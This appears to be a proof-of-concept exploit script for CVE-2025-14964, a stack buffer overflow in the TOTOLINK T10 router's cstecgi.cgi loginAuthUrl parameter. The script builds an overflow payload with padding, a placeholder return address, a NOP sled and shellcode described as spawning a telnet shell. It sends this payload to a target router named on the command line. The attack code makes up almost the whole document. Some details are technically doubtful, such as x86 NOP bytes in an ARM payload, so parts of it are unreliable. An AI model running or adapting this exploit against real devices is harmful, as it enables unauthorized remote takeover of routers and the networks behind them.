CVE-2025-14964

#!/usr/bin/env python3 """ CVE-2025-14964 PoC - TOTOLINK T10 Buffer Overflow Target: /cgi-bin/cstecgi.cgi loginAuthUrl parameter """ import requests import sys TARGET = "http://target-router-ip" ENDPOINT = "/cgi-bin/cstecgi.cgi" def create_payload(): # Buffer overflow payload for TOTOLINK T10 # Padding to overflow buffer padding = b"A" * 1000 # Overwrite return address (example address, adjust for your target) return_addr = b"\x00\x12\x34\x56" # Example: ARM return address # NOP sled for reliability nopsled = b"\x90" * 100 # Shellcode: spawn telnet shell on port 4444 shellcode = ( b"\x01\x10\x8f\xe2\x11\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\x0b\x27" b"\x01\xdf\x02\xff\x2f\x62\x69\x6e\x2f\x74\x65\x6c\x6e\x74\x64\x00" ) payload = padding + return_addr + nopsled + shellcode return payload def exploit(): url = f"{TARGET}{ENDPOINT}" headers = { "Content-Type": "application/x-www-form-urlencoded" } data = { "topicurl": "deviceInfo/loginAuthUrl", "loginAuthUrl": create_payload().decode('latin-1') } print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload size: {len(create_payload())} bytes") try: response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[+] Response: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("[+] This may indicate successful exploitation") if __name__ == "__main__": if len(sys.argv) > 1: TARGET = sys.argv[1] print("[*] CVE-2025-14964 PoC for TOTOLINK T10") print("[*] Vulnerability: Stack-based buffer overflow in cstecgi.cgi") exploit()

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